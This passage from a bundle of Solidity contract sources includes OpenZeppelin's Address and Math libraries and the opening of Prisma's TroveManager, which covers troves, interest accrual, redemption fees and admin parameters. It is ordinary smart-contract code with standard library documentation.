contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) {\n // Return data is optional\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/math/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary Math {\n enum Rounding {\n Down, // Toward negative infinity\n Up, // Toward infinity\n Zero // Toward zero\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)\n * with further edits by Uniswap Labs also under MIT license.\n */\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod0 := mul(x, y)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n require(denominator > prod1);\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.\n // See https://cs.stackexchange.com/q/138556/92363.\n\n // Does not overflow because the denominator cannot be zero at this stage in the function.\n uint256 twos = denominator & (~denominator + 1);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works\n // in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10**64) {\n value /= 10**64;\n result += 64;\n }\n if (value >= 10**32) {\n value /= 10**32;\n result += 32;\n }\n if (value >= 10**16) {\n value /= 10**16;\n result += 16;\n }\n if (value >= 10**8) {\n value /= 10**8;\n result += 8;\n }\n if (value >= 10**4) {\n value /= 10**4;\n result += 4;\n }\n if (value >= 10**2) {\n value /= 10**2;\n result += 2;\n }\n if (value >= 10**1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (rounding == Rounding.Up && 10**result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256, rounded down, of a positive value.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (rounding == Rounding.Up && 1 << (result * 8) < value ? 1 : 0);\n }\n }\n}\n"
},
"contracts/core/TroveManager.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"@openzeppelin/contracts/utils/math/Math.sol\";\nimport \"../interfaces/IBorrowerOperations.sol\";\nimport \"../interfaces/IDebtToken.sol\";\nimport \"../interfaces/ISortedTroves.sol\";\nimport \"../interfaces/IVault.sol\";\nimport \"../interfaces/IPriceFeed.sol\";\nimport { ReedemedTrove, ITroveRedemptionsCallback } from \"../interfaces/IPrismaCallbacks.sol\";\nimport \"../dependencies/SystemStart.sol\";\nimport \"../dependencies/PrismaBase.sol\";\nimport \"../dependencies/PrismaMath.sol\";\nimport \"../dependencies/PrismaOwnable.sol\";\n\n/**\n @title Prisma Trove Manager\n @notice Based on Liquity's `TroveManager`\n https://github.com/liquity/dev/blob/main/packages/contracts/contracts/TroveManager.sol\n\n Prisma's implementation is modified so that multiple `TroveManager` and `SortedTroves`\n contracts are deployed in tandem, with each pair managing troves of a single collateral\n type.\n\n Functionality related to liquidations has been moved to `LiquidationManager`. This was\n necessary to avoid the restriction on deployed bytecode size.\n */\ncontract TroveManager is PrismaBase, PrismaOwnable, SystemStart {\n using SafeERC20 for IERC20;\n\n // --- Connected contract declarations ---\n\n address public immutable borrowerOperationsAddress;\n address public immutable liquidationManager;\n address immutable gasPoolAddress;\n IDebtToken public immutable debtToken;\n IPrismaVault public immutable vault;\n // During bootsrap period redemptions are not allowed\n uint256 public immutable bootstrapPeriod;\n IPriceFeed public priceFeed;\n IERC20 public collateralToken;\n\n // A doubly linked list of Troves, sorted by their collateral ratios\n ISortedTroves public sortedTroves;\n\n EmissionId public emissionId;\n // Minimum collateral ratio for individual troves\n uint256 public MCR;\n\n uint256 constant SECONDS_IN_ONE_MINUTE = 60;\n uint256 constant INTEREST_PRECISION = 1e27;\n uint256 constant SECONDS_IN_YEAR = 365 days;\n uint256 constant REWARD_DURATION = 1 weeks;\n\n // volume-based amounts are divided by this value to allow storing as uint32\n uint256 constant VOLUME_MULTIPLIER = 1e20;\n\n uint256 public constant SUNSETTING_INTEREST_RATE = (INTEREST_PRECISION * 5000) / (10000 * SECONDS_IN_YEAR); //50% // During bootsrap period redemptions are not allowed\n /*\n * BETA: 18 digit decimal. Parameter by which to divide the redeemed fraction, in order to calc the new base rate from a redemption.\n * Corresponds to (1 / ALPHA) in the white paper.\n */\n uint256 constant BETA = 2;\n\n // commented values are Liquity's fixed settings for each parameter\n uint256 public minuteDecayFactor; // 999037758833783000 (half-life of 12 hours)\n uint256 public redemptionFeeFloor; // DECIMAL_PRECISION / 1000 * 5 (0.5%)\n uint256 public maxRedemptionFee; // DECIMAL_PRECISION (100%)\n uint256 public borrowingFeeFloor; // DECIMAL_PRECISION / 1000 * 5 (0.5%)\n uint256 public maxBorrowingFee; // DECIMAL_PRECISION / 100 * 5 (5%)\n uint256 public maxSystemDebt;\n\n uint256 public interestRate;\n uint256 public activeInterestIndex;\n uint256 public lastActiveIndexUpdate;\n\n uint256 public systemDeploymentTime;\n bool public sunsetting;\n bool public paused;\n\n uint256 public baseRate;\n\n // The timestamp of the latest fee operation (redemption or new debt issuance)\n uint256 public lastFeeOperationTime;\n\n uint256 public totalStakes;\n\n // Snapshot of the value of totalStakes, taken immediately after the latest liquidation\n uint256 public totalStakesSnapshot;\n\n // Snapshot of the total collateral taken immediately after the latest liquidation.\n uint256 public totalCollateralSnapshot;\n\n /*\n * L_collateral and L_debt track the sums of accumulated liquidation rewards per unit staked. During its lifetime, each stake earns:\n *\n * An collateral gain of ( stake * [L_collateral - L_collateral(0)] )\n * A debt increase of ( stake * [L_debt - L_debt(0)] )\n *\n * Where L_collateral(0) and L_debt(0) are snapshots of L_collateral and L_debt for the active Trove taken at the instant the stake was made\n */\n uint256 public L_collateral;\n uint256 public L_debt;\n\n // Error trackers for the trove redistribution calculation\n uint256 public lastCollateralError_Redistribution;\n uint256 public lastDebtError_Redistribution;\n\n uint256 internal totalActiveCollateral;\n uint256 internal totalActiveDebt;\n uint256 public interestPayable;\n\n uint256 public defaultedCollateral;\n uint256 public defaultedDebt;\n\n uint256 public rewardIntegral;\n uint128 public rewardRate;\n uint32 public lastUpdate;\n uint32 public periodFinish;\n uint16 public redemptionFeesRebate;\n\n ITroveRedemptionsCallback private _redemptionsCallback;\n\n mapping(address => uint256) public rewardIntegralFor;\n mapping(address => uint256) private storedPendingReward;\n\n // week -> total available rewards for 1 day within this week\n uint256[65535] public dailyMintReward;\n\n // week -> day -> total amount redeemed this day\n uint32[7][65535] private totalMints;\n\n // account -> data for latest activity\n mapping(address => VolumeData) public accountLatestMint;\n\n mapping(address => Trove) public Troves;\n mapping(address => uint256) public surplusBalances;\n\n // Map addresses with active troves to their RewardSnapshot\n mapping(address => RewardSnapshot) public rewardSnapshots;\n\n // Array of all active trove addresses - used to to compute an approximate hint off-chain, for the sorted list insertion\n address[] TroveOwners;\n\n struct VolumeData {\n uint32 amount;\n uint32 week;\n uint32 day;\n }\n\n struct EmissionId {\n uint16 debt;\n uint16 minting;\n }\n\n // Store the necessary data for a trove\n struct Trove {\n uint256 debt;\n uint256 coll;\n uint256 stake;\n Status status;\n uint128 arrayIndex;\n uint256 activeInterestIndex;\n }\n\n struct RedemptionTotals {\n uint256 remainingDebt;\n uint256 totalDebtToRedeem;\n uint256 totalCollateralDrawn;\n uint256 collateralFee;\n uint256 collateralToSendToRedeemer;\n uint256 decayedBaseRate;\n uint256 price;\n uint256 totalDebtSupplyAtStart;\n uint256 numberOfRedemptions;\n ReedemedTrove[] trovesRedeemed;\n }\n\n struct SingleRedemptionValues {\n uint256 debtLot;\n uint256 collateralLot;\n bool cancelledPartial;\n }\n\n // Object containing the collateral and debt snapshots for a given active trove\n struct RewardSnapshot {\n uint256 collateral;\n uint256 debt;\n }\n\n enum TroveManagerOperation {\n open,\n close,\n adjust,\n liquidate,\n redeemCollateral\n }\n\n enum Status {\n nonExistent,\n active,\n closedByOwner,\n closedByLiquidation,\n closedByRedemption\n }\n\n event TroveUpdated(\n address indexed _borrower,\n uint256 _debt,\n uint256 _coll,\n uint256 _stake,\n TroveManagerOperation _operation\n );\n\n event Redemption(\n uint256 _attemptedDebtAmount,\n uint256 _actualDebtAmount,\n uint256 _collateralSent,\n uint256 _collateralFee\n );\n event BaseRateUpdated(uint256 _baseRate);\n event LastFeeOpTimeUpdated(uint256 _lastFeeOpTime);\n event TotalStakesUpdated(uint256 _newTotalStakes);\n event SystemSnapshotsUpdated(uint256 _totalStakesSnapshot, uint256 _totalCollateralSnapshot);\n event LTermsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event TroveSnapshotsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event TroveIndexUpdated(address _borrower, uint256 _newIndex);\n event CollateralSent(address _to, uint256 _amount);\n event RewardClaimed(address indexed account, address indexed recipient, uint256 claimed);\n event RedemptionFeesRebateSet(uint16 redemptionFeesRebate);\n\n modifier whenNotPaused() {\n require(!paused, \"Collateral Paused\");\n _;\n }\n\n constructor(\n address _prismaCore,\n address _gasPoolAddress,\n address _debtTokenAddress,\n address _borrowerOperationsAddress,\n address _vault,\n address _liquidationManager,\n uint256 _gasCompensation,\n uint256 _bootstrapPeriod\n ) PrismaOwnable(_prismaCore) PrismaBase(_gasCompensation) SystemStart(_prismaCore) {\n gasPoolAddress = _gasPoolAddress;\n debtToken = IDebtToken(_debtTokenAddress);\n borrowerOperationsAddress = _borrowerOperationsAddress;\n vault = IPrismaVault(_vault);\n liquidationManager = _liquidationManager;\n bootstrapPeriod = _bootstrapPeriod;\n }\n\n function setAddresses(address _priceFeedAddress, address _sortedTrovesAddress, address _collateralToken) external {\n require(address(sortedTroves) == address(0));\n priceFeed = IPriceFeed(_priceFeedAddress);\n sortedTroves = ISortedTroves(_sortedTrovesAddress);\n collateralToken = IERC20(_collateralToken);\n\n systemDeploymentTime = block.timestamp;\n sunsetting = false;\n activeInterestIndex = INTEREST_PRECISION;\n lastActiveIndexUpdate = block.timestamp;\n }\n\n function notifyRegisteredId(uint256[] calldata _assignedIds) external returns (bool) {\n require(msg.sender == address(vault));\n require(emissionId.debt == 0, \"Already assigned\");\n uint256 length = _assignedIds.length;\n require(length == 2, \"Incorrect ID count\");\n emissionId = EmissionId({ debt: uint16(_assignedIds[0]), minting: uint16(_assignedIds[1]) });\n periodFinish = uint32(((block.timestamp / 1 weeks) + 1) * 1 weeks);\n\n return true;\n }\n\n /**\n * @notice Sets the pause state for this trove manager\n * Pausing is used to mitigate risks in exceptional circumstances\n * Functionalities affected by pausing are:\n * - New borrowing is not possible\n * - New collateral deposits are not possible\n * @param _paused If true the protocol is paused\n */\n function setPaused(bool _paused) external {\n require((_paused && msg.sender == guardian()) || msg.sender == owner(), \"Unauthorized\");\n paused = _paused;\n }\n\n /**\n * @notice Sets a custom price feed for this trove manager\n * @param _priceFeedAddress Price feed address\n */\n function setPriceFeed(address _priceFeedAddress) external onlyOwner {\n priceFeed = IPriceFeed(_priceFeedAddress);\n }\n\n /**\n * @notice Sets a callback contract for redemptions on this trove manager\n * @param redemptionsCallback Callback contract\n */\n function setRedemptionsCallback(ITroveRedemptionsCallback redemptionsCallback) external onlyOwner {\n _redemptionsCallback = redemptionsCallback;\n }\n\n /**\n * @notice Starts sunsetting a collateral\n * During sunsetting only the following are possible:\n 1) Disable collateral handoff to SP\n 2) Greatly Increase interest rate to incentivize redemptions\n 3) Remove redemptions fees\n 4) Disable new loans\n @dev IMPORTANT: When sunsetting a collateral altogether this function should be called on\n all TM linked to that collateral as well as `StabilityPool.startCollateralSunset`\n */\n function startSunset() external onlyOwner {\n sunsetting = true;\n _accrueActiveInterests();\n interestRate = SUNSETTING_INTEREST_RATE;\n // accrual function doesn't update timestamp if interest was 0\n lastActiveIndexUpdate = block.timestamp;\n redemptionFeeFloor = 0;\n maxSystemDebt = 0;\n }\n\n /**\n * @notice Sets the redemption fees rebate percentage\n * @param _redemptionFeesRebate Percentage of redemption fees rebated to users expressed in bps\n */\n function setRedemptionFeesRebate(uint16 _redemptionFeesRebate) external onlyOwner {\n require(_redemptionFeesRebate <= 10000, \"Too large\");\n redemptionFeesRebate = _redemptionFeesRebate;\n emit RedemptionFeesRebateSet(_redemptionFeesRebate);\n }\n\n /*\n _minuteDecayFactor is calculated as\n\n 10**18 * (1/2)**(1/n)\n\n where n = the half-life in minutes\n */\n function setParameters(\n uint256 _minuteDecayFactor,\n uint256 _redemptionFeeFloor,\n uint256 _maxRedemptionFee,\n uint256 _borrowingFeeFloor,\n uint256 _maxBorrowingFee,\n uint256 _interestRateInBPS,\n uint256 _maxSystemDebt,\n uint256 _MCR\n ) public {\n require(!sunsetting, \"Cannot change after sunset\");\n require(_MCR <= CCR && _MCR >= 1100000000000000000, \"MCR cannot be > CCR or < 110%\");\n if (minuteDecayFactor != 0) {\n require(msg.sender == owner(), \"Only owner\");\n }\n require(\n _minuteDecayFactor >= 977159968434245000 && // half-life of 30 minutes\n _minuteDecayFactor <= 999931237762985000 // half-life of 1 week\n );\n require(_redemptionFeeFloor <= _maxRedemptionFee && _maxRedemptionFee <= DECIMAL_PRECISION);\n require(_borrowingFeeFloor <= _maxBorrowingFee && _maxBorrowingFee <= DECIMAL_PRECISION);\n\n _decayBaseRate();\n\n minuteDecayFactor = _minuteDecayFactor;\n redemptionFeeFloor = _redemptionFeeFloor;\n maxRedemptionFee = _maxRedemptionFee;\n borrowingFeeFloor = _borrowingFeeFloor;\n maxBorrowingFee = _maxBorrowingFee;\n maxSystemDebt = _maxSystemDebt;\n\n uint256 newInterestRate = (INTEREST_PRECISION * _interestRateInBPS) / (10000 * SECONDS_IN_YEAR);\n if (newInterestRate != interestRate) {\n _accrueActiveInterests();\n // accrual function doesn't update timestamp if interest was 0\n lastActiveIndexUpdate = block.timestamp;\n interestRate = newInterestRate;\n }\n MCR = _MCR;\n }\n\n function collectInterests() external {\n uint256 interestPayableCached = interestPayable;\n require(interestPayableCached > 0, \"Nothing to collect\");\n debtToken.mint(PRISMA_CORE.feeReceiver(), interestPayableCached);\n interestPayable = 0;\n }\n\n // --- Getters ---\n\n function fetchPrice() public returns (uint256) {\n IPriceFeed _priceFeed = priceFeed;\n if (address(_priceFeed) == address(0)) {\n _priceFeed = IPriceFeed(PRISMA_CORE.priceFeed());\n }\n return _priceFeed.fetchPrice(address(collateralToken));\n }\n\n function getWeekAndDay() public view returns (uint256, uint256) {\n uint256 duration = (block.timestamp - startTime);\n uint256 week = duration / 1 weeks;\n uint256 day = (duration % 1 weeks) / 1 days;\n return (week, day);\n }\n\n function getTotalMints(uint256 week) external view returns (uint32[7] memory) {\n return totalMints[week];\n }\n\n function getTroveOwnersCount() external view returns (uint256) {\n return TroveOwners.length;\n }\n\n function getInterestRateInBps() external view returns (uint256) {\n return (interestRate * 10000 * SECONDS_IN_YEAR) / INTEREST_PRECISION;\n }\n\n function getTroveFromTroveOwnersArray(uint256 _index) external view returns (address) {\n return TroveOwners[_index];\n }\n\n function getTroveStatus(address _borrower) external view returns (uint256) {\n return uint256(Troves[_borrower].status);\n }\n\n function getTroveStake(address _borrower) external view returns (uint256) {\n return Troves[_borrower].stake;\n }\n\n /**\n @notice Get the current total collateral and debt amounts for a trove\n @dev Also includes pending rewards from redistribution\n */\n function getTroveCollAndDebt(address _borrower) public view returns (uint256 coll, uint256 debt) {\n (debt, coll, , ) = getEntireDebtAndColl(_borrower);\n return (coll, 